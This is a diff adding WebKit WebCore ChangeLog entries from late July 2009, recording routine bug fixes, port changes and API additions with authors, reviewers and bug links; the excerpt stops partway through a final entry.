+2009-07-30  Dean McNamee  <deanm@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Don't try to hash member function pointers, instead use a precomputed value based on the field.
+        https://bugs.webkit.org/show_bug.cgi?id=27843
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8SVGPODTypeWrapper.h:
+        (WebCore::PODTypeWrapperCacheInfo::PODTypeWrapperCacheInfo):
+        (WebCore::PODTypeWrapperCacheInfo::operator==):
+        (WebCore::PODTypeWrapperCacheInfoHash::hash):
+        (WebCore::V8SVGDynamicPODTypeWrapperCache::lookupOrCreateWrapper):
+
+2009-07-30  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Simon Fraser.
+
+        Fix compiler warning.
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::menuListDefaultEventHandler):
+
+2009-07-29  Matt Perry  <mpcomplete@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Add a way to register V8 extensions for Isolated Worlds only.
+        https://bugs.webkit.org/show_bug.cgi?id=27785
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluateInNewWorld):
+        (WebCore::ScriptController::evaluateInNewContext):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::evaluate):
+        * bindings/v8/V8IsolatedWorld.h:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInNewWorld):
+        (WebCore::V8Proxy::evaluateInNewContext):
+        (WebCore::V8Proxy::createNewContext):
+        (WebCore::V8Proxy::initContextIfNeeded):
+        (WebCore::V8Proxy::registerExtensionWithV8):
+        (WebCore::V8Proxy::registerExtension):
+        * bindings/v8/V8Proxy.h:
+
+2009-07-30  Mike Fenton  <mike.fenton@torchmobile.com>
+
+         Reviewed by Adam Treat.
+
+         Add previously defined out support to PopupMenuQt for marking entries as
+         disabled and for selecting the desired item.
+
+         https://bugs.webkit.org/show_bug.cgi?id=27772
+
+         * platform/qt/PopupMenuQt.cpp:
+         (WebCore::PopupMenu::populate):
+
+2009-07-30  Darin Adler  <darin@apple.com>
+
+        Reviewed by David Levin.
+
+        Use checked casts for render tree
+        https://bugs.webkit.org/show_bug.cgi?id=23522
+
+        Next step: Add new toRenderWidget cast and use it everywhere.
+
+        Use checked casts in all the places that were using static_cast
+        but there is a checked cast available.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::stringValue):
+        (WebCore::AccessibilityRenderObject::widget):
+        (WebCore::AccessibilityRenderObject::widgetForAttachmentView):
+        (WebCore::AccessibilityRenderObject::visiblePositionForPoint):
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (getPangoLayoutForAtk):
+        * dom/Document.cpp:
+        (WebCore::widgetForNode):
+        (WebCore::Document::setFocusedNode):
+        * html/HTMLEmbedElement.cpp:
+        (WebCore::findWidgetRenderer):
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::defaultEventHandler):
+        * html/HTMLObjectElement.cpp:
+        (WebCore::HTMLObjectElement::renderWidgetForJSBindings):
+        * html/HTMLPlugInElement.cpp:
+        (WebCore::HTMLPlugInElement::defaultEventHandler):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadSubframe):
+        * loader/PluginDocument.cpp:
+        (WebCore::PluginTokenizer::writeRawData):
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::hitTestResultAtPoint):
+        (WebCore::subframeForTargetNode):
+        (WebCore::EventHandler::handleWheelEvent):
+        * page/Frame.cpp:
+        (WebCore::isFrameElement):
+        * page/PrintContext.cpp:
+        (WebCore::PrintContext::computePageRects):
+        * page/android/EventHandlerAndroid.cpp:
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+        * page/chromium/EventHandlerChromium.cpp:
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+        * page/chromium/FrameChromium.cpp:
+        (WebCore::computePageRectsForFrame):
+        * page/gtk/EventHandlerGtk.cpp:
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+        * page/haiku/EventHandlerHaiku.cpp:
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+        * page/mac/EventHandlerMac.mm:
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+        (WebCore::EventHandler::passSubframeEventToSubframe):
+        * page/win/FrameWin.cpp:
+        (WebCore::computePageRectsForFrame):
+        * page/wx/EventHandlerWx.cpp:
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::getCachedImage):
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::writeImage):
+        * platform/gtk/PasteboardGtk.cpp:
+        (WebCore::Pasteboard::writeImage):
+        * platform/mac/PasteboardMac.mm:
+        (WebCore::Pasteboard::writeImage):
+        * platform/qt/ClipboardQt.cpp:
+        (WebCore::getCachedImage):
+        * platform/qt/PasteboardQt.cpp:
+        (WebCore::Pasteboard::writeImage):
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::getCachedImage):
+        * platform/win/PasteboardWin.cpp:
+        (WebCore::Pasteboard::writeImage):
+        * rendering/InlineBox.h:
+        (WebCore::InlineBox::boxModelObject):
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::splitInlines):
+        (WebCore::RenderInline::addChildToContinuation):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateImageContents):
+        * rendering/TextControlInnerElements.cpp:
+        (WebCore::RenderTextControlInnerBlock::positionForPoint):
+        Use checked cast instead of static_cast.
+        
+        * rendering/RenderWidget.h: Added toRenderWidget.
+
+2009-07-30  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: some files modified to build for WINCE
+        https://bugs.webkit.org/show_bug.cgi?id=27816
+
+        * accessibility/AccessibilityObject.h:
+        * page/win/EventHandlerWin.cpp:
+        (WebCore::EventHandler::createDraggingClipboard):
+        * platform/win/PlatformMouseEventWin.cpp:
+        (WebCore::messageToEventType):
+        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
+        * platform/win/PlatformScreenWin.cpp:
+        (WebCore::deviceInfoForWidget):
+        (WebCore::screenIsMonochrome):
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupMenu::paint):
+        (WebCore::registerPopup):
+        (WebCore::PopupWndProc):
+
+2009-07-30  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: modified graphics files
+        https://bugs.webkit.org/show_bug.cgi?id=27779
+
+        * platform/graphics/BitmapImage.h:
+        (WebCore::BitmapImage::mayFillWithSolidColor):
+        * platform/graphics/Gradient.h:
+        * platform/graphics/GraphicsContext.cpp:
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/ImageSource.h:
+        * platform/graphics/MediaPlayer.cpp:
+        * platform/graphics/Path.h:
+        * platform/graphics/Pattern.h:
+        * platform/graphics/transforms/Matrix3DTransformOperation.cpp:
+        (WebCore::Matrix3DTransformOperation::blend):
+        * platform/graphics/transforms/MatrixTransformOperation.cpp:
+        (WebCore::MatrixTransformOperation::blend):
+        * platform/graphics/transforms/TransformationMatrix.h:
+        (WebCore::TransformationMatrix::operator*):
+        * platform/graphics/win/IconWin.cpp:
+        (WebCore::Icon::createIconForFile):
+        (WebCore::Icon::createIconForFiles):
+        (WebCore::Icon::paint):
+
+2009-07-30  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Ariya Hidayat.
+
+        Improve efficiency by rewriting code doing three hash table
+        lookups, which can be replaced by just one as pointed out
+        by Darin Adler.
+
+        Though being slightly less clear, this should be considerable
+        faster.
+
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::remove):
+
+2009-07-30  Antonio Gomes   <antonio.gomes@openbossa.org>
+
+        Reviewed by Gustavo Noronha.
+
+        [Gtk] Code cleanup in MediaPlayerPrivateGStreamer.cpp|h and VideoSinkGStreamer.cpp|h (Part 2)
+        https://bugs.webkit.org/show_bug.cgi?id=27651
+
+        Removed unneeded includes (gdk.h and gtk.h) and added glib.h and cairo.h instead.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2009-07-30  Antonio Gomes   <antonio.gomes@openbossa.org>
+
+        Reviewed by Gustavo Noronha.
+
+        [Gtk] Code cleanup in MediaPlayerPrivateGStreamer.cpp|h and VideoSinkGStreamer.cpp|h (Part 1)
+        https://bugs.webkit.org/show_bug.cgi?id=27651
+
+        Fixed many code style issues pointed by WebKitTools/Scripts/modules/cpplint.py
+        No functionality change at all.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        * platform/graphics/gtk/VideoSinkGStreamer.h:
+
+2009-07-30  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        Allow to explicitly choose a preferred plugin for a mimetype.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27651
+
+        When the preferred plugin is set for a specific MIME type, it will be
+        always picked up, regardless of its version, quirks etc.
+
+        Client applications may want to use that API to resolve mimetype
+        ambiguity in a custom way, rather than in the default way that is
+        currently used in WebKit.
+
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::pluginForMIMEType):
+        (WebCore::PluginDatabase::MIMETypeForExtension):
+        (WebCore::PluginDatabase::setPreferredPluginForMIMEType): Added.
+        (WebCore::PluginDatabase::remove):
+        (WebCore::PluginDatabase::clear):
+        * plugins/PluginDatabase.h:
+
+2009-07-30  Jakub Wieczorek  <faw217@gmail.com>
+
+        [Qt] Fix build with Qt 4.4 after r46535.
+
+        * platform/network/qt/ResourceHandleQt.cpp:
+
+2009-07-30  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Video elements fires another "load" event when attached to DOM
+        https://bugs.webkit.org/show_bug.cgi?id=27623
+
+        Test: media/media-load-event.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::insertedIntoDocument):
+            Only schedule load when element's network state is NETWORK_EMPTY.
+
+2009-07-30  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by David Levin.
+
+        Cache v8 strings when converting from WebCore::String to v8 string.
+        https://bugs.webkit.org/show_bug.cgi?id=27655
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8String): now just immediately calls v8ExternalString
+        (WebCore::enableStringImplCache): enables caching of conversions from WebCore::StringImpl to
+        v8::String
+        (WebCore::makeExternalString): utilty function to create external v8::String out of
+        WebCore::String
+        (WebCore::getStringCache): static function to access string cache
+        (WebCore::cachedStringCallback): callback for weak handles of v8::Strings stored in the
+        cache
+        (WebCore::v8ExternalString): if caching enabled, checks if there is already v8::String for
+        the given WebCore::StringImpl.  If present, returns it, otherwise creates a new v8 external
+        string.
+        * bindings/v8/V8Binding.h:
+
+2009-07-30  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25535
+        [GTK] object:state-changed:checked events missing for radio buttons and checkboxes
+
+        Implement state-changed:checked for radio buttons and checkboxes.
+
+        * accessibility/gtk/AXObjectCacheAtk.cpp:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setChecked):
+
+2009-07-30  Xan Lopez  <xlopez@igalia.com>
+
+        Forgot the 'break'.
+
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+
+2009-07-30  Xan Lopez  <xlopez@igalia.com>
+
+        Try to fix Mac build.
+
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+
+2009-07-29  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Adam Barth.
+
+        Add missing enumeration value to switch.
+
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+
+2009-07-29  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Workers need to throw an exception when presented with invalid URLs.
+        https://bugs.webkit.org/show_bug.cgi?id=27770
+
+        Tests covered by worker-constructor.html and worker-redirect.html.
+
+        * bindings/js/JSWorkerConstructor.cpp:
+        (WebCore::constructWorker):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * workers/Worker.cpp:
+        (WebCore::Worker::Worker):
+        * workers/Worker.h:
+        (WebCore::Worker::create):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::importScripts):
+        * workers/WorkerScriptLoader.cpp:
+        (WebCore::WorkerScriptLoader::loadSynchronously):
+        (WebCore::WorkerScriptLoader::loadAsynchronously):
+        (WebCore::WorkerScriptLoader::createResourceRequest):
+        * workers/WorkerScriptLoader.h:
+
+2009-07-29  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        (REGRESSION: r46039) Should restore previous connections-per-host limit for non-http(s) hosts
+        https://bugs.webkit.org/show_bug.cgi?id=27822 and <rdar://problem/7091659>
+
+        * loader/loader.cpp:
+        (WebCore::Loader::Host::servePendingRequests): For non-http(s) hosts, restore the previous behavior of 
+          only limiting connections while parsing and still trying to figure out stylesheet urls.
+
+2009-07-29  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: Add WebCore/page/wince/FrameWince.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=27729
+
+        * page/wince/FrameWince.cpp: Added.
+
+2009-07-29  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Justin Garcia.
+
+        REGRESSION(r46370-46426): /editing/style/remove-underline-from-stylesheet.html fails
+        https://bugs.webkit.org/show_bug.cgi?id=27809
+
+        The patch primarily rebaselines the tests but also fixes the bug in currentlyHasStyle.
+        To determine that a particular text decoration is present, currentlyHasStyle should refer to
+        -webkit-text-decorations-in-effect to take care of styles set by u, s, strike tags and ancestors' CSS.
+        We also need to update layout to accommodate the changes made within ApplyStyleCommand.
+
+        * editing/ApplyStyleCommand.cpp: ditto
+        (WebCore::StyleChange::currentlyHasStyle): ditto
+
+2009-07-29  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: changes to platform/text files
+        https://bugs.webkit.org/show_bug.cgi?id=27715
+
+        * platform/text/String.cpp:
+        (WebCore::String::format):
+        * platform/text/TextEncoding.cpp:
+        (WebCore::TextEncoding::encode):
+        * platform/text/TextEncodingRegistry.cpp:
+        (WebCore::buildBaseTextCodecMaps):
+        (WebCore::extendTextCodecMaps):
+
+2009-07-29  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Adam Roben.
+
+        FIX: HDC leaks in PopupMenuWin.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=27817
+
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::~PopupMenu):
+        (WebCore::PopupMenu::paint):
+
+2009-07-29  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Illegal values for <ol start> cause list numbering start at 0 (should start at 1)
+        https://bugs.webkit.org/show_bug.cgi?id=27810
+
+        Test: fast/lists/ol-start-parsing.html
+
+        * html/HTMLOListElement.cpp:
+        (WebCore::HTMLOListElement::parseMappedAttribute): Check the result of toInt
+        and use the value 1 if it failed to parse. Before we were getting toInt's default
+        behavior, which is to return 0.
+
+2009-07-29  Kevin McCullough  <kmccullough@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Added foundation work to allow a testing infrastructure for the Web
+        Inspector.
+
+        * inspector/InspectorClient.h:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::scriptObjectReady): Tell the testing
+        harness that the window object is ready.
+        * loader/EmptyClients.h: Empty class support for SVG.
+        (WebCore::EmptyInspectorClient::inspectorWindowObjectCleared):
+
+2009-07-29  Chris Fleizach  <cfleizach@apple.com>
+
+        Build fix for windows after landing
+        Bug 27807 - AX: move re-usable code into more common areas for other platforms
+   
+        Apparently bzero doesn't exist on windows.
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::textMarkerDataForVisiblePosition):
+
+2009-07-29  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Justin Garcia.
+
+        Bug 27807 - AX: move re-usable code into more common areas for other platforms
+        https://bugs.webkit.org/show_bug.cgi?id=27807
+
+        Moves some accessibility code that was in the Mac file to a more common place so 
+        it can be used by other platforms. 
+        This includes:
+           Making TextMarkerData from a VisiblePosition.
+           Making a VisiblePosition from TextMarkerData.
+           Finding the anchor accessibility object for an arbitrary Node.
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::visiblePositionForTextMarkerData):
+        (WebCore::AXObjectCache::textMarkerDataForVisiblePosition):
+        * accessibility/AXObjectCache.h:
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::anchorElementForNode):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::visiblePositionForIndex):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (textMarkerForVisiblePosition):
+        (visiblePositionForTextMarker):
+        (AXAttributedStringAppendText):
+
+2009-07-29  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Inset box shadows are incorrectly accounted for in visual overflow
+        computations
+        https://bugs.webkit.org/show_bug.cgi?id=27811
+
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::placeBoxesHorizontally): Use
+            getBoxShadowHorizontalExtent().
+        (WebCore::InlineFlowBox::placeBoxesVertically): Use
+            getBoxShadowVerticalExtent(). Removed duplicate code to get the
+            text-shadow overflow.
+        (WebCore::InlineFlowBox::paint): Use getBoxShadowHorizontalExtent().
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::overflowHeight): Use
+            getBoxShadowVerticalExtent().
+        (WebCore::RenderBlock::overflowWidth): Use
+            getBoxShadowHorizontalExtent().
+        (WebCore::RenderBlock::overflowLeft): Ditto.
+        (WebCore::RenderBlock::overflowTop): Use getBoxShadowVerticalExtent().
+        (WebCore::RenderBlock::overflowRect): Use getBoxShadowExtent().
+        (WebCore::RenderBlock::layoutBlock): Ditto.
+        * rendering/RenderFlexibleBox.cpp:
+        (WebCore::RenderFlexibleBox::layoutBlock): Ditto.
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::calculateRects): Exclude inset shadows.
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::repaintAfterLayoutIfNeeded): Use
+            getBoxShadowHorizontalExtent() and getBoxShadowVerticalExtent().
+        (WebCore::RenderObject::adjustRectForOutlineAndShadow): Exclude inset
+            shadows.
+        * rendering/RenderReplaced.cpp:
+        (WebCore::RenderReplaced::adjustOverflowForBoxShadowAndReflect): Ditto.
+        * rendering/style/RenderStyle.cpp:
+        (WebCore::RenderStyle::setTextShadow): Also assert that text-shadows are
+            not inset.
+        (WebCore::RenderStyle::getBoxShadowExtent): Added. Excludes inset
+            shadows.
+        (WebCore::RenderStyle::getBoxShadowHorizontalExtent): Ditto.
+        (WebCore::RenderStyle::getBoxShadowVerticalExtent): Ditto.
+        * rendering/style/RenderStyle.h:
+
+2009-07-29  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix crash when an element with display: table-row is composited (e.g. via a 3d-transform)
+        https://bugs.webkit.org/show_bug.cgi?id=27796
+        
+        Avoid repainting when a layer becomes composited if the renderer is not parented
+        yet, because it makes no sense to do so.
+        
+        If the table row is a repaint container, default to the RenderBox implementation
+        of clippedOverflowRectForRepaint(), because we cannot hand off the repaint rect
+        computation to something that is above the repaint container.
+
+        Test: fast/table/table-row-compositing-repaint-crash.html
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::repaintOnCompositingChange):
+        * rendering/RenderTableRow.cpp:
+        (WebCore::RenderTableRow::clippedOverflowRectForRepaint):
+
+2009-07-29  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27791
+        307 redirects of POSTs should use POST, not GET
+
+        Test: http/tests/loading/redirect-methods.html
+
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::willSendRequest):
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (-[WebCoreResourceHandleAsDelegate connection:willSendRequest:redirectResponse:]):
+
+2009-07-29  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Adding -webkit-animation-play-state back in
+        https://bugs.webkit.org/show_bug.cgi?id=26867
+
+        We've decided to keep -webkit-animation-play-state. So this
+        just adds back in the code from https://bugs.webkit.org/show_bug.cgi?id=22907.
+
+        Test: animations/play-state.html
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+        (WebCore::CSSParser::parseAnimationPlayState):
+        (WebCore::CSSParser::parseAnimationProperty):
+        * css/CSSParser.h:
+        * css/CSSPropertyNames.in:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+        (WebCore::CSSStyleSelector::mapAnimationPlayState):
+        * css/CSSStyleSelector.h:
+        * platform/animation/Animation.h:
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2009-07-29  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        Expose the default plugin directories and the current directory set of
+        the plugin database as public API.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27651
+
+        * plugins/PluginDatabase.h:
+        (WebCore::PluginDatabase::pluginDirectories):
+
+2009-07-29  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by David Levin.
+
+        [chromium] Font size for current time display in media controls panel
+        is affected by body font size.
+        https://bugs.webkit.org/show_bug.cgi?id=27799
+
+        Fixing the problem of rendering by explicitly setting the font size
+        for the time displays.
+
+        No new tests since this is covered by existing media tests.
+
+        * css/mediaControlsChromium.css:
+
+2009-07-29  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by David Levin.
+
+        Update WebCore/page/ContextMenuController.cpp to conform to WebKit
+        Style Guidelines as identified by cpp_style.py.
+        https://bugs.webkit.org/show_bug.cgi?id=27613
+
+        * page/ContextMenuController.cpp:
+        (WebCore::openNewWindow):
+        (WebCore::ContextMenuController::contextMenuItemSelected):
+
+2009-07-29  Dean McNamee  <deanm@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Removed unused wrapCPointer/extractCPointer from the v8 bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=27805
+
+        * bindings/v8/V8DOMWrapper.h:
+
+2009-07-29  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        Expose the PluginDatabase::pluginForMIMEType() function as public API.
+        https://bugs.webkit.org/show_bug.cgi?id=27651
+
+        It can be used to determine the appropriate plugin for a mime type,
+        without guessing the mimetype from the extension.
+
+        * plugins/PluginDatabase.h:
+
+2009-07-29  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Adam Treat.
+
+        Allow to enable/disable particular plugin packages.
+        https://bugs.webkit.org/show_bug.cgi?id=27651
+
+        Disabled plugins will not be picked up when looking for a plugin
+        supporting the requested mimetypes.
+
+        Client applications may want to use that API to disable specific
+        plugins.
+
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::pluginForMIMEType):
+        (WebCore::PluginDatabase::MIMETypeForExtension):
+        * plugins/PluginPackage.cpp:
+        (WebCore::PluginPackage::PluginPackage):
+        (WebCore::PluginPackage::setEnabled):
+        * plugins/PluginPackage.h:
+        (WebCore::PluginPackage::isEnabled):
+
+2009-07-29  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        [WML] Running WML tests in random order multiple times exposes subtle bugs
+        https://bugs.webkit.org/show_bug.cgi?id=27801
+
+        Remove superflous assertions regarding the parent node. Under certain circumstances
+        these can even fire (related to garbage collection while destructing). Fixes random order
+        WML tests (run-webkit-tests fast/wml wml http/tests/wml fast/wml ... --random)
+
+        The wml/enter-first-card-with-events.html test relied on a bug in our implementation of
+        WMLPageState::reset() - the history stack should still contain the current card afterwards.
+        Fix that bug by preserving the first item in BackForwardList::clearWMLPageHistory().
+
+        * history/BackForwardList.cpp: Preserve first item in history stack, as demanded by the spec.
+        (WebCore::BackForwardList::clearWMLPageHistory):
+        * wml/WMLDoElement.cpp:
+        (WebCore::WMLDoElement::insertedIntoDocument):
+        (WebCore::WMLDoElement::removedFromDocument):
+        * wml/WMLNoopElement.cpp:
+        (WebCore::WMLNoopElement::insertedIntoDocument):
+        * wml/WMLOnEventElement.cpp:
+        (WebCore::eventHandlingParent):
+        * wml/WMLPostfieldElement.cpp:
+        (WebCore::WMLPostfieldElement::insertedIntoDocument):
+        (WebCore::WMLPostfieldElement::removedFromDocument):
+        * wml/WMLSetvarElement.cpp:
+        (WebCore::WMLSetvarElement::insertedIntoDocument):
+        (WebCore::WMLSetvarElement::removedFromDocument):
+        * wml/WMLTaskElement.cpp:
+        (WebCore::WMLTaskElement::insertedIntoDocument):
+        (WebCore::WMLTaskElement::removedFromDocument):
+        * wml/WMLTimerElement.cpp:
+        (WebCore::WMLTimerElement::insertedIntoDocument):
+        (WebCore::WMLTimerElement::removedFromDocument):
+
+2009-07-29  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26848
+        [Qt] ResourceHandle::willLoadFromCache needs to be implemented QtWebKit.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadItem):
+        * platform/network/ResourceHandle.h:
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::ResourceHandle::willLoadFromCache):
+        * platform/network/curl/ResourceHandleCurl.cpp:
+        (WebCore::ResourceHandle::willLoadFromCache):
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCore::ResourceHandle::willLoadFromCache):
+        * platform/network/qt/ResourceHandleQt.cpp:
+        (WebCore::ResourceHandle::willLoadFromCache):
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::):
+
+2009-07-29  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by David Levin.
+
+        Media control panel for <video> in MediaDocument is mis-placed
+        https://bugs.webkit.org/show_bug.cgi?id=27798
+
+        Fixing a rendering problem: When <video> is displayed in MediaDocument,
+        the media control panel overlaps with the video by 16 pixels.
+
+        No new tests as this is covered by existing media tests.
+
+        * css/mediaControlsChromium.css:
+
+2009-07-29  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed build fix for Chromium.  Those last two patches weren't
+        independent despite the clean merge.
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
+
+2009-07-29  Avi Drissman  <avi@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        ImageSourceCG makes bad data refs (race condition causes blank images)
+        https://bugs.webkit.org/show_bug.cgi?id=27777
+
+        Make ImageSourceCG guarantee that the lifetime of the SharedBuffer that
+        backs the CFDataRef will be long enough.
+
+        No new tests, as this fixes a bug with a race condition that is
+        difficult to trigger.
+
+        * platform/graphics/cg/ImageSourceCG.cpp:
+        (WebCore::ImageSource::setData):
+
+2009-07-29  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Console should show completions for the command line APIs
+        https://bugs.webkit.org/show_bug.cgi?id=27696
+
+        * inspector/front-end/Console.js:
+        (WebInspector.Console.prototype._reportCompletions): Adds properties from _inspectorCommandLineAPI to 
+        completions when available.
+        * inspector/front-end/utilities.js:
+        (Object.properties): Added.
+        (Object.sortedProperties):
+
+2009-07-29  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Refactor the first step of layout in RenderFlexibleBox.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=27704
+
+        No new tests as this change is just a refactoring.
+
+        * rendering/RenderFlexibleBox.cpp:
+        (WebCore::gatherFlexChildrenInfo):
+        (WebCore::RenderFlexibleBox::layoutHorizontalBox):
+        (WebCore::RenderFlexibleBox::layoutVerticalBox):
+
+2009-07-29  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Fix a bug that HTMLOptionElement::value() returns an incorrect
+        value in a case that the element has a label attribute and no
+        value attribute.
+        https://bugs.webkit.org/show_bug.cgi?id=27760
+
+        Test: fast/forms/option-value-and-label.html
+
+        * dom/OptionElement.cpp:
+        (WebCore::OptionElement::collectOptionLabelOrText):
+        (WebCore::OptionElement::collectOptionInnerText):
+        (WebCore::OptionElement::normalizeText):
+        (WebCore::OptionElement::collectOptionTextRespectingGroupLabel):
+        (WebCore::OptionElement::collectOptionValue):
+        * dom/OptionElement.h:
+        * html/HTMLOptionElement.cpp:
+        (WebCore::HTMLOptionElement::text):
+        * wml/WMLOptionElement.cpp:
+        (WebCore::WMLOptionElement::text):
+
+2009-07-29  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
